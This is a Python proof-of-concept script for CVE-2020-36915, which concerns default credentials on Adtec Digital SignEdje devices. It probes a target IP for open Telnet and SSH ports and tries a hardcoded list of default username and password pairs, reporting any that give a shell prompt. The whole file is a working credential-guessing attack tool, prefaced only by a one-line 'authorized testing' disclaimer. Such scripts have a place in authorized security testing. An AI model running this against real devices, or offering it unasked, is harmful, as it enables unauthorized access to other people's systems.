#!/usr/bin/env python3
# CVE-2020-36915 PoC - Adtec Digital SignEdje Default Credentials
# Note: This is for educational and authorized testing purposes only
import socket
import sys
import telnetlib
from paramiko import SSHClient, AutoAddPolicy
def check_telnet_default_credentials(target_ip, port=23):
"""Check for default Telnet credentials"""
default_creds = [
('admin', 'admin'),
('root', 'root'),
('admin', 'password'),
('root', 'password'),
('admin', '1234'),
('root', '12345')
]
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
result = sock.connect_ex((target_ip, port))
if result == 0:
print(f"[+] Telnet port {port} is open on {target_ip}")
for username, password in default_creds:
try:
tn = telnetlib.Telnet(target_ip, port, timeout=10)
tn.read_until(b'login: ', timeout=5)
tn.write(username.encode('ascii') + b'\n')
tn.read_until(b'Password: ', timeout=5)
tn.write(password.encode('ascii') + b'\n')
result = tn.read_until(b'#', timeout=5)
if b'#' in result or b'$' in result:
print(f"[+] SUCCESS: Default credentials found - {username}:{password}")
return True
except:
continue
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def check_ssh_default_credentials(target_ip, port=22):
"""Check for default SSH credentials"""
default_creds = [
('admin', 'admin'),
('root', 'root'),
('admin', 'password')
]
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
result = sock.connect_ex((target_ip, port))
if result == 0:
print(f"[+] SSH port {port} is open on {target_ip}")
for username, password in default_creds:
try:
client = SSHClient()
client.set_missing_host_key_policy(AutoAddPolicy())
client.connect(target_ip, port=port, username=username,
password=password, timeout=10)
print(f"[+] SUCCESS: Default SSH credentials found - {username}:{password}")
return True
except:
continue
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip>")
print(f"Example: {sys.argv[0]} 192.168.1.100")
sys.exit(1)
target_ip = sys.argv[1]
print(f"[*] Scanning {target_ip} for CVE-2020-36915 vulnerability...")
check_telnet_default_credentials(target_ip)
check_ssh_default_credentials(target_ip)
print("[*] Scan complete")
if __name__ == '__main__':
main()